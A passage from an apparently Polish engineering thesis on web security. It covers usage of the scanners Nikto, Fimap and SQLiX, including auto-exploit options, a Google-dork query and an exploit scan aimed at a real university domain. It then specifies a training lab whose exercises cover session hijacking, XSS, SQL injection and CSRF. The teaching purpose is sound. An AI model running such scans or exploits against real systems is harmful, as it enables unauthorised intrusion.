raportu znajduje się poniżej: Rysunek 4. Przykładowy wynik działania programu Nikto Program w przyjaznej formie prezentuje wyniki przeprowadzonego skanowania, w raporcie można znaleźć takie informacje jak: Wersja używanej aplikacji, oraz często informacja, czy istnieje jej nowsza wersja. Znalezione błędy w aplikacji wraz z dowodem istnienia Wersja używanego systemu operacyjnego, usługi www i dodatków, wraz z informacjami, czy istnieją nowsze wersje. Ukryte katalogi, których istnienia nie można wydedukować przeglądając stronę (mogą być to zarówno zakomentowane w kodzie HTML adresy URL, bądź też adresy zdobyte metodą brute-force) 36 Do wykorzystania programu w pełni, tester powinien zaznajomić się z podstawowymi opcjami programu: Tabela 3. Najważniejsze parametry programu Nikto. Opcje Opis -H Informacje dotyczące sposobu użycia programu. -D V Wyświetlanie większej ilości informacji. -id [login:hasło] Używa HTTP Basic Authentication. -h Nazwa hosta - celu. [nazwa_hosta] -o Używa zadanego pliku jako wejścia i zwraca dane dla wszystkich [nazwa_pliku] domen wymienionych w pliku. -p [port] Pomija wstępne skanowanie portów hosta i korzysta z podanego. -update Aktualizuje bazę danych Nikto. Użycie opcji ogranicza się do wpisania w linii komend: nikto.pl [opcje] Przykładowe użycie programu: nikto.pl -h localhost -D V -o raport.html 3.2 Fimap Fimap (do pobrania pod adresem https://code.google.com/p/fimap/) to mała aplikacja, napisana w języku Python, służąca do skanowania aplikacji internetowych pod kątem występowania błędów związanych z lokalnym, bądź też zdalnym włączeniu pliku (ang. Remote/Local File Inclusion). Umożliwia użytkownikowi skanowanie konkretnego adresu URL, grupy adresów, a nawet użycia wyszukiwarki Google do wyszukiwania podatnych adresów. Program zawiera wiele opcji oraz dodatków, jedną z ciekawszych opcji jest automatyczne wykorzystanie znalezionej podatności. Użycie programu polega na wpisaniu w linii komend: fimap.py [opcje] 37 Możliwe opcje wywołania są przedstawione w poniższej tabelce: Tabela 4. Najważniejsze parametry programu Fimap. Opcje Opis -h Informacje dotyczące sposobu użycia programu. -u [URL] Adres URL do skanowania. -b Testowanie „na oślep”, w przypadku, gdy aplikacja nie zgłasza błędów. -g Wykorzystuje Google do znajdowania hostów. -q [zapytanie] Zapytanie Google. -x Wykorzystuje automatycznie znalezione podatności. --update-def Aktualizuje bazę definicji. Przykładowe użycie programu: fimap.py -u 'http://localhost/test.php?file=happy&id=22' fimap.py -g -q 'inurl:include.php' W pierwszym przypadku podano aplikacji adres URL, w którym zaistniało podejrzenie, że parametry mogą decydować o załączonym pliku – program sam wykonuje resztę pracy, odnajduje parametr, który jest odpowiedzialny za nazwę pliku i spróbuje wykorzystać błąd. W drugim przypadku następuje przeszukanie Google pod kątem zawartości w adresie URL ciągu znaków include.php, który jednoznacznie wskazuje na przeznaczenie odnalezionego skryptu. 3.3 SQLiX SQLiX (do pobrania pod adresem http://cedri.cc/tools/SQLiX_v1.0.tar.gz) jest programem, napisanym w języku skryptowym Perl, służącym do skanowania aplikacji internetowych pod względem podatności na ataki typu Wstrzyknięcie SQL. Aplikacja używa dwóch technik, które mogą pozwolić jej stwierdzić istnienie poszukiwanej podatności, wśród nich są: Generowanie stron błędów. Jest to technika polegająca na wstrzykiwaniu wartości takich jak apostrof, czy też podwójny apostrof w miejsca występowania parametrów. Użytkownik jest 38 informowany o istnieniu podatności jeśli tylko odpowiedź na żądanie zawiera błąd bazy danych. „Ślepe” wstrzykiwanie spreparowanych ciągów w miejsca wystąpienia wartości parametrów. Spreparowane ciągi mogą zawierać działania logiczne takie jak „OR 1=1” i „OR 1=0”, odpowiedź serwera jest porównywana z oryginalną i na tej podstawie aplikacja decyduje czy uznaje miejsce wstrzyknięcia parametru za podatne. Metoda może okazać się nieskuteczna, jeśli zapytanie zawiera znaki apostrofu bądź też odwołuje się do procedur składowanych. Bardziej zaawansowane skanery próbują odtworzyć oryginalne zapytanie (ang. reverse engineering) poprzez wstrzykiwanie wielu zbiorów ciągów zawierających nawiasy, apostrofy oraz przecinki. Użycie programu polega na wpisaniu w linii komend: perl SQLiX.pl [parametry] Najpopularniejsze opcje wywołania są przedstawione w tabeli poniżej: Tabela 5. Najpopularniejsze opcje wywołania programu SQLiX Opcje Opis -help Informacje dotyczące sposobu użycia programu oraz możliwych parametrów. -url [URL] Adres URL do skanowania. --post_content Dodaje wyspecyfikowaną przez użytkownika zawartość do [CONTENT] żądania http i zmienia metodę żądania na POST. -crawl Skanuje stronę WWW przeszukując jej podstrony. -all Używa wszystkich metod wstrzykiwania. -exploit Wykorzystuje znalezione podatności do określenia wersji bazy danych. 39 Aplikacja jest bardzo rozbudowana i pozwala na wykorzystywanie podatności w wielu popularnych bazach danych takich jak: MS-Access, MS-SQL, MySQL, Oracle czy też PostgreSQL. Podczas ataku na bazę danych MS-SQL możliwe jest automatyczne wykorzystanie podatności w celu zdalnego wykonania polecenia. Przykładowe użycie programu: perl SQLiX.pl –crawl elka.pw.edu.pl –all –exploit Powyższe polecenie spowoduje uruchomienie programu w celu przeszukania całego serwisu WWW umieszczonego pod domeną elka.pw.edu.pl. Przeszukanie będzie kompleksowe, zostaną użyte wszystkie środki znane oprogramowaniu (-all), a jeśli zostanie odnaleziona podatność to aplikacja spróbuje ją wykorzystać w celu poznania wersji bazy danych. 40 4 Omówienie projektu 4.1 Opis projektu W ramach praktycznej części pracy inżynierskiej został zaprojektowany i wykonany system operacyjny, który po uruchomieniu dostarcza użytkownikowi środowisko, w którym może on przeprowadzać testy zabezpieczeń aplikacji, które opierają się na mechanizmie HTTP. Środowisko jest w rzeczywistości aplikacją WWW, która umożliwia użytkownikowi przećwiczenie, w realnych warunkach, opisywanych w poprzednich rozdziałach ataków. Dzięki swojej modularnej budowie, środowisko umożliwia swoją dalszą rozbudowę poprzez łatwe dodawanie nowych ćwiczeń, co pozwala na jego przyszłe wykorzystanie do zajęć praktycznych. Omawiany system ma spełniać funkcję dydaktyczną i powinien być praktycznym suplementem do wykładów, które omawiają temat bezpieczeństwa aplikacji internetowych. 4.1.1 Ćwiczenia dołączone do SSA Do Systemu Symulacji Ataków zostało dołączonych dwanaście ćwiczeń, które pozwalają pozwolą użytkownikowi doświadczyć różnych ataków w praktyce. Ćwiczenia poruszają najważniejsze tematy z niniejszej pracy, są dobrane tak, aby zachować ich różnorodność. Kolejność ułożenia ćwiczeń w menu jest zoptymalizowana tak, aby posortować ćwiczenia w kolejności od najłatwiejszego do najtrudniejszego zachowując tym samym pogrupowanie na obszary tematyczne. Badanie i modyfikacja ciasteczek Ćwiczenie pozwala użytkownikowi na zapoznanie się z mechanizmem ciasteczek oraz możliwościami nowoczesnych przeglądarek, które nie tylko pozwalają na podejrzenie ich zawartości, ale także na dowolną modyfikację. Do wykonania ćwiczenia użytkownik stosuje przeglądarkę Firefox wraz z dołączoną wtyczką FireBug (do pobrania pod adresem http://getfirebug.com/). Prostota ćwiczenia pozwala na szybkie zapoznanie się ze sposobami interakcji z oprogramowaniem, ale także daje głębsze spojrzenie na mechanizmy bezpieczeństwa, które często korzystają (choć nie jest to zalecane) z ciasteczek w celu przechowania newralgicznych danych. Analiza JavaScript Prowizoryczne zabezpieczenia bazujące na samym kodzie JavaScript są niestety nadal często spotykane w Internecie. Często można spotkać się z ich kompleksowymi rozwinięciami, kod 41 jest zaciemniany, a podczas weryfikacji danych wejściowych wykonywane są skomplikowane obliczenia, które z założenia mają utrudnić analizę kodu źródłowego. W ćwiczeniu nie zastosowano tych technik, kod jest widzialny w przystępnej wersji, która nie utrudnia użytkownikowi odnalezienia hasła. Celem ćwiczenia nie jest zabranie użytkownikowi dużej ilości czasu, ale pokazanie mu, jak prosto można takie zabezpieczenia przełamać. Dodatkowe nakłady pracy, zastosowane przez programistę do utrudnienia analizy kodu, skutkują tylko i wyłącznie wydłużeniem czasu analizy kodu – weryfikację danych przeprowadzoną w ten sposób można zawsze złamać. Ograniczenia HTML Ograniczenie długości pola w zastosowane w języku HTML jest dobrym filtrem danych wejściowych dla aplikacji, jednak wielu programistów przecenia możliwości takiego filtrowania danych i nie dostrzega faktu, iż dane można przesłać do aplikacji w inny sposób. Jeśli dane nie są filtrowane podwójnie to wystąpienie błędu podczas ich przetwarzania jest niemal pewne. Ćwiczenie nie polega na wykorzystywaniu podatności, jest jednak bardzo dobrą lekcją dla użytkownika, ponieważ błędy spowodowane nieprawidłową długością danych wejściowych są bardzo dobrym źródłem wiedzy o badanej aplikacji. Celem ćwiczenia jest przesłanie do pewnego skryptu danych o długości większej, niż pozwala na to załączony formularz. Narzucanie identyfikatora sesji Mechanizmy kontroli sesji użytkownika to jedne z najbardziej podatnych na atak części aplikacji internetowych. Jeśli mechanizm sesji jest zaimplementowany bez zachowania odpowiedniej uwagi, to z całą pewnością jest to pierwsza rzecz, jaką powinien sprawdzić tester bezpieczeństwa aplikacji internetowych. „Narzucanie identyfikatora sesji” to ćwiczenie, które umożliwi użytkownikowi zapoznanie się z mechanizmem sesji oraz genezą jego istnienia, podczas analizy zadania użytkownik dowiaduje się, że mechanizm sesji nie jest skomplikowany i że wszystko musi działać według bardzo prostego mechanizmu HTTP. Samo ćwiczenie opiera się na zastosowaniu ataku w praktyce, czyli narzuceniu własnego identyfikatora sesji innemu użytkownikowi, a następnie jej przejęciu. Kradzież identyfikatora sesji Ćwiczenie „Kradzież identyfikatora sesji” jest bardzo podobne do poprzedniego, opierającego się na narzuceniu identyfikatora. Oprócz podstaw działania mechanizmów sesji, użytkownik dowiaduje się, jak przejąć sesję użytkownika stosując inne podejście niż w poprzednim 42 zadaniu. Tym razem identyfikator nie jest z góry znany, a celem ćwiczenia jest jego kradzież. W realnym środowisku, przywłaszczenie identyfikatora może nastąpić jako następstwo ataku typu „cross-site”, bądź też zwykłej nieznajomości zagadnień komputerowych ofiary. Ćwiczenie to ma na celu przedstawienie żadnego typu ataku „cross-site”, dlatego kradzież identyfikatora sesji oparta jest na ukryciu znacznika w adresie URL (metoda GET), a następnie przesłaniu go do innej sesji przeglądarki. Przewidywanie identyfikatora sesji Mechanizm sesji można zrealizować na co najmniej dwa sposoby, to ćwiczenie dotyczy innej metody, niż poprzednie dwa ćwiczenia. Tym razem użytkownik postawiony jest w sytuacji, gdzie implementacja mechanizmu sesji wymagała oszczędności w bazie danych, przez co znacznik sesji nie jest losowany, a następnie zapisywany do bazy. W przypadku tego ćwiczenia identyfikator jest generowany na podstawie danych, które zostały podane podczas rejestracji w fikcyjnym serwisie. Zadaniem użytkownika jest dokładna analiza wygenerowanych identyfikatorów, rozpoznanie algorytmu, który generuje znacznik i zastosowanie tak zdobytej wiedzy w praktyce – czyli przejęcie sesji innego użytkownika. Odbite XSS Opisywana podatność jest bardzo często spotykana w różnych serwisach internetowych. Programiści, zajmujący się tworzeniem stron internetowych, często nie doceniają możliwości, jakie dla atakującego otwierają podatności typu „cross-site”. Celem zadania jest zapoznanie użytkownika z podatnościami tego typu oraz wykorzystanie ich w praktyce. Użytkownik zauważy, że sama podatność nie jest bardzo szkodliwa, ale jeśli w serwisie występują inne niedopatrzenia, to atak „cross-site” będzie idealnym punktem zapalnym do wywołania wielu groźnych sytuacji. Składowane XSS „Składowane XSS” to ćwiczenie prezentujące, w zupełnie innym świetle, atak podobny do „Odbite XSS”. Tym razem wektor ataku ma o wiele większe pole rażenia, ofiara nie musi otwierać szkodliwego adresu URL – wystarczy, że odwiedzi stronę, a szkodliwy kod będzie tam na nią czekał. Celem ćwiczenia jest pozostawienie szkodliwego komentarza w fikcyjnym systemie komentarzy. Celem tak zostawionej wiadomości jest automatyzacja dodawania kolejnych komentarzy, w taki sposób, aby każdy kolejny użytkownik, który odwiedza stronę, pozostawiał po sobie ślad w systemie w postaci kolejnego komentarza. Jest to jedyne ćwiczenie, które nie ma zdefiniowanych warunków końcowych – system nie ma możliwości 43 rozróżnienia czy dane żądanie pochodzi od użytkownika, który chciał je wysłać, czy też zrobił to bezwiednie. Wstrzyknięcie SQL – omijanie logowania Ćwiczenie pozwalające na wypróbowanie bardzo popularnej podatności, wynikającej z braku filtrowania danych wejściowych, które mają zostać umieszczone w zapytaniu kierowanym do bazy danych. Podatność pozwala na zmianę formy zapytania SQL, co w przypadku mechanizmu logowania może skutkować brakiem weryfikacji poprawności hasła. Pomocniczo, użytkownik ma wyświetlone zapytanie, które za każdym razem kieruje się do bazy danych - pozwala to na lepsze zrozumienie idei ataku oraz łatwiejsze dojście do rozwiązania. Wstrzyknięcie SQL – SELECT Wstrzyknięcie polecenia SELECT do istniejącego zapytania niesie ze sobą niemal nieograniczone możliwości oraz jest powodem wielu głośnych wycieków danych. Podczas ćwiczenia użytkownik ma okazję wysłać spreparowane zapytanie SELECT do dowolnej tabeli w bazie danych i zobaczyć jaką niesie ze sobą odpowiedź. Wnikliwi użytkownicy z pewnością zastosują opisywaną w ćwiczeniu metodę na poznanie całej struktury bazy danych. Celem ćwiczenia jest, wysłanie zapytania do tabeli, która przechowuje dane użytkowników, takie jak nazwa logowania oraz hasło, stosując do tego formularz, który oryginalnie służy jako wyszukiwarka książek w bazie danych. W ramach ułatwienia zadania, na stronie wyświetla się tekst informujący użytkownika, jak wygląda zapytanie, które zostało wysłane do bazy danych. Wstrzyknięcie SQL – INSERT Ćwiczenie polega na wstrzyknięciu frazy modyfikującej polecenie INSERT w zapytania SQL, które oryginalnie służy do dodawania nowego konta użytkownika w pewnej tabeli. W pierwotnym zapytaniu istnieje zapisany na stałe parametr decydujący o tym, czy użytkownik ma uprawnienia administratora, czy też nie. Celem użytkownika jest taka modyfikacja zapytania, aby zmienić ten parametr na taki, który da mu większe uprawnienia, jednocześnie użytkownik musi zachować taką formę zapytania, która pozwoli mu później zalogować się na nowoutworzone konto. Zadanie pokazuje użytkownikowi, że niemal w każdym miejscu może natknąć się na podatność typu „Wstrzyknięcie SQL” i nie dotyczy ona tylko formularzy z zapytaniami SELECT. Ćwiczenie jest najtrudniejsze z grupy „Wstrzyknięcie SQL”, ponieważ 44 nie ma w nim komentarza, który pokazuje jak wygląda wysłane do bazy danych zapytanie, a także wymaga od niego zastosowania skrótu MD5. Cross-Site Request Forgery W ćwiczeniu przedstawiono użytkownikowi fikcyjny system aukcyjny, gdzie może on licytować cenę pewnego przedmiotu. Stosując omawiany atak CSRF atakujący może zmusić przeglądarkę użytkownika do wysłania zapytania, które spowoduje zalicytowanie w aukcji, bez wiedzy użytkownika. Przykład jest specjalnie dobrany tak, aby pokazać użytkownikowi jakie niebezpieczeństwo niesie ze sobą atak CSRF. Użytkownik ma za zadanie utworzyć specjalnie spreparowaną stronę w pliku HTML (na podstawie formularza licytacji), a następnie będąc zalogowanym do serwisu aukcyjnego – potwierdzić wysłanie formularza. Wnikliwi użytkownicy zauważą, że ofiary nie trzeba nawet zmuszać do potwierdzenia formularza – wystarczy tylko dołączyć skrypt JavaScript, który zrobi to za nie. 4.2 Wymagania Projektując środowisko testowe, w którym użytkownik będzie mógł przeprowadzić podstawowe ataki na strony internetowe, należy przyjąć odpowiedni poziom odwzorowania świata rzeczywistego. Należy zauważyć, iż wprowadzenie dużej liczby szczegółów, które wzmagają odczucie pracy na rzeczywistym środowisku, utrudni analizę kodu strony i zwiększy nakład czasowy na implementację. W przypadku zbytniego uproszczenia systemu, przeprowadzane ćwiczenia nie będą interesujące dla użytkownika. Odmienną kwestią jest budowane scenariuszy ataku, powinny być one zaprojektowane, tak, aby użytkownik mógł w każdym momencie podejść do dowolnego z ataków, bez uprzedniego zaliczenia poprzednich. Scenariusz powinien składać się z maksymalnie kliku kroków, tak aby nie uczynić go zbyt skomplikowanym i umożliwić jego przejście w nie więcej niż 30 minut. 45 Ustalony został pewien kompromis i przyjęte zostały pewne założenia, a w celu ich objaśnienia przygotowany został słownik pojęć: Tabela 6. Słownik pojęć dla opisu wymagań projektu. Pojęcie System System Symulacji Ataków SSA Aplikacja Live-CD Opis Całość dostarczonego rozwiązania, na System składa się: 1. System operacyjny. 2. System Symulacji Ataków. 3. Narzędzia wykorzystywane do Systemu Symulacji Ataków. Aplikacja będąca symulatorem ataków na strony internetowe. Patrz: System Symulacji Ataków. Patrz: System Symulacji Ataków. System operacyjny zainstalowany na nośniku z własnym programem rozruchowym, umożliwiającym uruchomienie go w pamięci RAM, bez potrzeby instalowania na dysku twardym komputera. 4.2.1 Wymagania niefunkcjonalne Poniżej znajdują się wymagania niefunkcjonalne ustalone dla opracowywanego systemu: Średni Identyfikator WN-0 Priorytet Bezinwazyjność systemu dla komputera użytkownika Nazwa Opis Projektowany system powinien uruchamiać się bez konieczności instalowania go na komputerze użytkownika, ani modyfikacji danych na dysku twardym. W tym celu powinien zostać dostarczony w formie „Live-CD”. Średni Identyfikator WN-1 Priorytet Prostota obsługi Nazwa Opis Po uruchomieniu Systemu przez użytkownika, SSA powinien uruchomić się automatycznie dostarczając tym samym informacji startowych użytkownikowi. Informacje startowe to: 1. Do czego służy system? 2. Jak go obsługiwać? 46 Wysoki Identyfikator WN-2 Priorytet Rozbudowywalność Nazwa Opis SSA powinien posiadać opcję rozbudowy o kolejne ćwiczenia. Rozbudowa powinna być bardzo prosta, przy jej wykonywaniu użytkownik powinien mieć możliwość definiowania: 1. Nazwy ćwiczenia. 2. Opisu ćwiczenia. 3. Rozwiązania wzorcowego. 4. Celu, którego osiągnięcie wyznacza koniec ćwiczenia. 5. Sposobu obsługi pierwszego żądania strony. 6. Sposobu obsługi kolejnych żądań do strony. 7. Akcji podejmowanych po wciśnięciu przycisku do ponownego uruchomienia ćwiczenia. Wysoki Identyfikator WN-3 Priorytet Czytelna dokumentacja Nazwa Opis System powinien posiadać czytelną dokumentację. Przeznaczenie Systemu powoduje, iż możliwe będzie zaistnienie potrzeby jego rozbudowy. Średni Identyfikator WN-4 Priorytet Wiarygodność przedstawionych przypadków Nazwa Opis SSA powinien przedstawiać użytkownikowi realne sytuacje, w związku z tym wskazane jest stosowanie prawdziwych baz danych (nie zaślepek) i innych elementów. Średni Identyfikator WN-5 Priorytet Łatwość analizy Nazwa Opis Ćwiczenia wykonywane przez użytkownika powinny skupiać się na istocie problemu i nie utrudniać jego analizy zbędnymi szczegółami. Przykładem niepoprawnej implementacji może być strona WWW, której wygenerowany kod HTML zajmuje tysiąc linii, zaś istotnych jest tylko kilka z nich. 47 Na podstawie wymagań nieformalnych powstał diagram sekwencji obrazujący pracę użytkownika końcowego z projektowanym systemem. Rysunek 5. Diagram sekwencji projektowanego systemu 48 4.2.2 Wymagania funkcjonalne Poniżej znajdują się wymagania funkcjonalne ustalone dla opracowywanego systemu: Wysoki Identyfikator WF-0 Priorytet Wybór ćwiczenia Nazwa Opis Po uruchomieniu się SSA użytkownik ma możliwość wyboru ćwiczenia, które chce wykonać. Wraz z SSA powinny zostać dostarczone następujące ćwiczenia: 1. Badanie i modyfikacja ciasteczek. 2. Omijanie fikcyjnych zabezpieczeń JavaScript – konieczność podania hasła. 3. Omijanie fikcyjnych zabezpieczeń HTML – ograniczenie liczby znaków w polu. 4. Badanie sposobu generacji identyfikatora sesji – ustalanie własnego identyfikatora sesji. 5. Badanie sposobu generacji identyfikatora sesji – przewidywanie identyfikatorów sesji. 6. Badanie sposobu generacji identyfikatora sesji – kradzież identyfikatora sesji. 7. Wykonanie ataku typu Wstrzyknięcie SQL – omijanie logowania. 8. Wykonanie ataku typu Wstrzyknięcie SQL – wstrzykiwanie komendy SELECT. 9. Wykonanie ataku typu Wstrzyknięcie SQL – wstrzykiwanie komendy INSERT. 10. Wykonanie ataku typu Odbite XSS. 11. Wykonanie ataku typu Składowane XSS. 12. Wykonanie ataku typu CSRF. Wysoki Identyfikator WF-0.1 Priorytet Wybór ćwiczenia – Badanie i modyfikacja ciasteczek Nazwa Opis Użytkownik zostanie postawiony przed bardzo prostym zadaniem, polegającym na zbadaniu ciasteczek i ich modyfikacji. Ćwiczenie będzie polegało na: 1. Badaniu ciasteczka zaraz po pierwszym załadowaniu strony. 2. Badaniu ciasteczka po zalogowaniu. 3. Modyfikacji zawartości ciasteczka i zaobserwowaniu wpływu tej zmiany na zachowanie systemu. Identyfikator Nazwa WF-0.2 Wysoki Priorytet Wybór ćwiczenia – Omijanie fikcyjnych zabezpieczeń JavaScript – konieczność podania hasła Opis Ćwiczenie stawia użytkownika przed zadaniem polegającym na przełamaniu pozornych zabezpieczeń weryfikacji hasła po stronie klienta przez JavaScript. Ćwiczenie będzie polegało na: 1. Przejrzeniu źródła strony. 2. Analizie kodu JavaScript weryfikującego hasło. 3. Ominięciu zabezpieczeń podając hasło uzyskane w wyniku analizy kodu. 49 Identyfikator Nazwa WF-0.3 Wysoki Priorytet Wybór ćwiczenia – Omijanie fikcyjnych zabezpieczeń HTML – ograniczenie liczby znaków w polu Opis Zadanie polega na modyfikacji kodu HTML związanego z formularzem na stronie WWW. Użytkownik pozna możliwości nowoczesnych przeglądarek internetowych, dzięki którym będzie mógł modyfikować atrybuty pola zachowując resztę właściwości formularza. Ćwiczenie będzie polegało na: 1. Przejrzeniu źródła strony. 2. Użyciu narzędzi programistycznych dołączonych do przeglądarki WWW w celu lokalnej modyfikacji źródła strony. 3. Zatwierdzeniu formularza znajdującego się na danej stronie WWW przesyłając mu dane, na które nie zezwalał kod HTML (ograniczenie ilości znaków). Identyfikator Nazwa WF-0.4 Wysoki Priorytet Wybór ćwiczenia – Badanie sposobu generacji identyfikatora sesji – ustalanie własnego identyfikatora sesji Opis Tematem ćwiczenia jest wykorzystanie podatności w mechanizmie generowania identyfikatorów sesji, który pozwala na ustalenie własnego identyfikatora, a następnie jego użycie w innej przeglądarce. Ćwiczenie będzie polegało na: 1. Zbadaniu miejsca przechowywania identyfikatora sesji. 2. Próbie zastąpienia identyfikatora swoim (pomyślnej). 3. Zalogowaniu się przy użyciu znanych danych. 4. Użyciu identyfikatora sesji po zamknięciu przeglądarki, bądź w innej przeglądarce. 5. Obserwacji efektów. Identyfikator Nazwa WF-0.5 Wysoki Priorytet Wybór ćwiczenia – Badanie sposobu generacji identyfikatora sesji – przewidywanie identyfikatorów sesji Opis Użytkownik zostanie postawiony przed zadaniem polegającym na wykorzystaniu podatności w mechanizmie generowania identyfikatorów sesji, który pozwala na ustalenie sposobu generowania identyfikatora. Ćwiczenie będzie polegało na: 1. Zbadaniu miejsca przechowywania identyfikatora sesji. 2. Zbadaniu sposobu zmiany identyfikatora w zależności od podawanych danych (także wyznaczenie danych, które mają wpływ na identyfikator sesji). 3. Próbie wyznaczenia sposobu generacji identyfikatora. 4. Sztucznej generacji identyfikatora dla danego użytkownika. 5. Podmianie własnego identyfikatora sesji. 6. Obserwacji efektów. 50 Identyfikator Nazwa WF-0.6 Wysoki Priorytet Wybór ćwiczenia – Badanie sposobu generacji identyfikatora sesji – kradzież identyfikatora sesji Opis Ćwiczenie stawia użytkownika przed zadaniem polegającym na wykorzystaniu podatności w mechanizmie sprawdzania poprawności identyfikatorów sesji, który pozwala wykorzystanie identyfikatora na w kontekście, który nie spełnia warunków polityki tożsamego pochodzenia. Ćwiczenie będzie polegało na: 1. Zbadaniu miejsca przechowywania identyfikatora sesji. 2. Zalogowaniu się używając znanych danych i skopiowaniu identyfikatora. 3. Użycie tego identyfikatora w kontekście, który nie spełnia warunków polityki tożsamego pochodzenia. 4. Obserwacji efektów. Ćwiczenie to jest bardzo podobne do opisanego w WF-4.4, pozwala to na ponowne użycie gotowego już kodu. Identyfikator Nazwa WF-0.7 Wysoki Priorytet Wybór ćwiczenia – Wykonanie ataku typu Wstrzyknięcie SQL - omijanie logowania Opis Zadanie polega na wykorzystaniu podatności w weryfikacji danych wejściowych, które są używane do zapytań w bazach danych. Ćwiczenie będzie polegało na ominięciu konieczności wpisania poprawnego hasła w formularzu służącym do zalogowania użytkownika. Scenariusz ataku przedstawia się następująco: 1. Analiza kodu strony internetowej z formularzem. 2. Próba użycia znaków potencjalnie niebezpiecznych dla zapytań SQL. 3. Wykorzystanie dołączenia prostych warunków logicznych do zapytania, tak, aby zapytanie zawsze zwracało pozytywny wynik. 4. Zalogowanie się na konto dowolnego użytkownika. Identyfikator Nazwa WF-0.8 Wysoki Priorytet Wybór ćwiczenia – Wykonanie ataku typu Wstrzyknięcie SQL wstrzykiwanie komendy SELECT Opis Tematem ćwiczenia jest wykorzystanie podatności w weryfikacji danych wejściowych, które są używane do zapytań w bazach danych. Ćwiczenie będzie polegało na modyfikacji zapytania służącego do utworzenia strony z pewną listą. Scenariusz ataku przedstawia się następująco: 1. Analiza kodu strony internetowej z formularzem. 2. Próba użycia znaków potencjalnie niebezpiecznych dla zapytań SQL. 3. Analiza wyniku oryginalnego zapytania (ilość kolumn, typ kolumn). 4. Wykorzystanie dołączenia kolejnych zapytań do aktualnego. 51 Identyfikator Nazwa WF-0.9 Wysoki Priorytet Wybór ćwiczenia - Wykonanie ataku typu Wstrzyknięcie SQL – wstrzykiwanie komendy INSERT Opis Użytkownik zostanie postawiony przed zadaniem polegającym na wykorzystaniu podatności w weryfikacji danych wejściowych, które są używane do zapytań w bazach danych. Ćwiczenie będzie polegało na modyfikacji zapytania służącego do utworzenia strony z pewną listą. Scenariusz ataku przedstawia się następująco: 1. Analiza kodu strony internetowej z formularzem. 2. Próba użycia znaków potencjalnie niebezpiecznych dla zapytań SQL. 3. Dołączenie kolejnego zapytania, tym razem modyfikującego dane w bazie. Wysoki Identyfikator WF-0.10 Priorytet Wybór ćwiczenia – Wykonanie ataku typu Odbite XSS Nazwa Opis Ćwiczenie stawia użytkownika przed zadaniem polegającym na wykorzystaniu podatności w weryfikacji danych wejściowych, które zostają dynamicznie umieszczane na stronie internetowej. Ćwiczenie będzie polegało na odpowiedniej modyfikacji parametrów przekazywanych do strony internetowej w taki sposób, aby w odpowiedzi (wygenerowanej stronie) umieścić złośliwy kod JavaScript. Scenariusz ataku przedstawia się następująco: 1. Przedstawienie celu ataku (wywołanie pewnej akcji dostępnej dla zalogowanego użytkownika, polegającej na fikcyjnym usunięciu konta użytkownika). 2. Analiza parametrów przekazywanych stronie internetowej (metodą POST lub GET), które mogą być na niej wyświetlane. 3. Analiza poprawności filtrowania parametrów. 4. Po odkryciu niepoprawnej filtracji, użytkownik będzie musiał wykorzystać błąd konstruując odpowiedni kod wywołujący akcję. W wyniku tego kroku, użytkownik będzie posiadał spreparowany adres URL. 5. Po zalogowaniu się na konto użytkownika, podając znane dane, użytkownik wywoła zapisany wcześniej adres URL. 6. Obserwacja wyników (usunięte konto). 52 Wysoki Identyfikator WF-0.11 Priorytet Wybór ćwiczenia – Wykonanie ataku typu Składowane XSS Nazwa Opis Zadanie polega na wykorzystaniu podatności w weryfikacji danych wejściowych, które zostają statycznie umieszczane na stronie internetowej. Ćwiczenie będzie polegało na odpowiedniej modyfikacji parametrów przekazywanych do strony internetowej w taki sposób, aby złośliwa treść (kod JavaScript) została osadzona na danej stronie (wpisana do bazy danych). Scenariusz ataku przedstawia się następująco: 1. Przedstawienie celu ataku (wywołanie pewnej akcji dostępnej dla zalogowanego użytkownika, polegającej na dodaniu komentarza pod wpisem na blogu). 2. Analiza parametrów przekazywanych stronie internetowej (metodą POST lub GET), które mogą być na niej wyświetlane. 3. Analiza poprawności weryfikacji parametrów. 4. Po odkryciu niepoprawnej weryfikacji, użytkownik będzie musiał wykorzystać błąd konstruując odpowiednie zapytanie, osadzające przygotowany wcześniej złośliwy kod na stronie internetowej. 5. Po zalogowaniu się na konto użytkownika, podając znane dane, użytkownik zażąda strony, na której znajduje się wcześniej umieszczony złośliwy kod. 6. Obserwacja wyników (dodany komentarz). Wysoki Identyfikator WF-0.12 Priorytet Wybór ćwiczenia – Wykonanie ataku typu CSRF Nazwa Opis Tematem ćwiczenia jest wykorzystanie podatności typu CSRF. Ćwiczenie będzie polegało na przygotowaniu strony internetowej, która wyśle żądanie do innej strony w imieniu użytkownika, który ją odwiedza. Scenariusz ataku przedstawia się następująco: 1. Przedstawienie celu ataku (wywołanie pewnej akcji dostępnej dla zalogowanego użytkownika, polegającej na licytacji w fikcyjnym serwisie aukcyjnym). 2. Analiza parametrów przekazywanych stronie internetowej (metodą POST lub GET), które należy będzie zamieścić na własnej stronie. 3. Zalogowanie się użytkownika na stronie internetowej (fikcyjny serwis aukcyjny). 4. Otworzenie wcześniej spreparowanej strony internetowej, zatwierdzenie zamaskowanego formularza. 5. Obserwacja wyniku (mimowolna licytacja w aukcji). Wysoki Identyfikator WF-1 Priorytet Opis ćwiczenia Nazwa Opis Każde dostarczone ćwiczenie musi posiadać opis wraz z nazwą. Informacje te powinny zawierać takie dane jak: 1. Rodzaj ataku, który występuje w danym ćwiczeniu. 2. Opis ataku. 53 Średni Identyfikator WF-2 Priorytet Wzorcowe rozwiązanie ćwiczenia Nazwa Opis Do każdego ćwiczenia powinno zostać dostarczone wzorcowe rozwiązanie, które użytkownik będzie mógł podejrzeć w dowolnej chwili. Średni Identyfikator WF-3 Priorytet Zakończenie ćwiczenia Nazwa Opis Każde ćwiczenie powinno posiadać pewien cel, którego osiągnięcie będzie uznawane jako jego koniec. SSA powinien sam sprawdzać czy użytkownikowi udało się dotrzeć do danego punktu i jeśli tak, to powinien wyświetlić stosowny komunikat. Należy jednak uwzględnić fakt, że nie zawsze można automatycznie sprawdzić zakończenie ćwiczenia. 4.3 Decyzje projektowe Każdy produkt projektu informatycznego jest wypadkową pewnych decyzji projektowych, często podjętych podczas implementacji systemu. Na takie decyzje ma wpływ wiele czynników takich jak używana technologia, czas (koszt) oraz umiejętności załogi. Decyzje podejmowane są na każdym kroku, począwszy od systemu operacyjnego po język programowania i użyte oprogramowanie. Poniżej przedstawione są najbardziej znaczące z nich dotyczące architektury. 4.3.1 Architektura systemu Podczas analizy wymagań zostały podjęte następujące decyzje architektoniczne: Identyfikator AR-0 Dotyczy wymagania WN-0, WN-1, WN-4 System Operacyjny Nazwa Decyzja Systemem operacyjnym zostanie dystrybucja Ubuntu 10.04 